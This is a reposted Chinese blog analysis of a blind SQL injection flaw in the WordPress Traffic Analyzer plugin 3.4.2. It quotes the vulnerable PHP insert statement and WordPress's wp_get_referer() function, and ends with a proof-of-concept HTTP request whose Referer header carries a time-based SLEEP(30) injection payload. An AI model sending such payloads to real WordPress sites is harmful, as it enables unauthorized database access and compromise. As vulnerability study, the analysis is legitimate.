您的位置:首页 > 数据库

[漏洞分析] WordPress Traffic Analyzer Plugin 3.4.2 - Blind SQL Injection

2015-06-08 16:28 671 查看
此漏洞的编号为EDBID:36677 OSVDB:120491

Wordpress插件“Traffic Analyzer”中存在SQL盲注漏洞。程序没有恰当地验证来自HTTP头部Referer中的输入。

这个漏洞允许远程攻击者以Wordpress分配的权限访问数据库。这将导致攻击过程中获得远程webserver文件系统的的访问,并且能进一步危害安装了Wordpress的系统。

下面这段PHP代码就是存在漏洞的位置。变量$sql是一个连接字符串,被用于往数据库中插入数据。变量$referer中未检查是否存在恶意数据。

在class-TrafficAnalyzer.php的第297行

$sql = " insert into $wpdb->prefix"."tanalyzer_pre ( hid,ip, script_name, user_agent, request_uri,resource_type,browser,resource,http_referer,wpta_cookie ) values ".
" ('".$hid."'," .
" '".$_SERVER["REMOTE_ADDR"]."', ".
"'".$_SERVER['SCRIPT_NAME']."', " .
" '".$_SERVER["HTTP_USER_AGENT"]."', ".
" '". $_SERVER['REQUEST_URI']. "', ".
" '".$resource_type."', " .
" '".$browser."', " .
" '".$resource ."', " .
" '".$referer . "', " .
" '".$this->wpta_cookie . "'" .
" )";


在第282行找到了变量$referer被赋值的情景,$referer = wp_get_referer();

在\wp-includes\function.php中的第1431~1443行有函数wp_get_referer()的定义

/**
* Retrieve referer from '_wp_http_referer' or HTTP referer.
*
* If it's the same as the current request URL, will return false.
*
* @since 2.0.4
*
* @return false|string False on failure. Referer URL on success.
*/
function wp_get_referer() {
if ( ! function_exists( 'wp_validate_redirect' ) )
return false;
$ref = false;
if ( ! empty( $_REQUEST['_wp_http_referer'] ) )
$ref = wp_unslash( $_REQUEST['_wp_http_referer'] );
else if ( ! empty( $_SERVER['HTTP_REFERER'] ) )
$ref = wp_unslash( $_SERVER['HTTP_REFERER'] );

if ( $ref && $ref !== wp_unslash( $_SERVER['REQUEST_URI'] ) )
return wp_validate_redirect( $ref, false );
return false;
}


发送如下的HTTP请求会引起请求被延迟30秒

GET /[wordpress path]/ HTTP/1.1
Host: x.x.x.x
Referer: BLAH'||(SELECT 'Fdsf' FROM DUAL WHERE 5435=5435 and SLEEP(30) )||'






存在漏洞的语句中对所有参数都未作过滤,为什么说漏洞点只存在于变量$referer中,答案是,只有这个参数是攻击者可控的,攻击者可以通过这个变量与数据库进行交互。

实验效果不是很明显,但是实验过程还是值得总结的,首先注入的位置为HTTP头的Referer位置,其次这是一个盲注。

完事儿
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: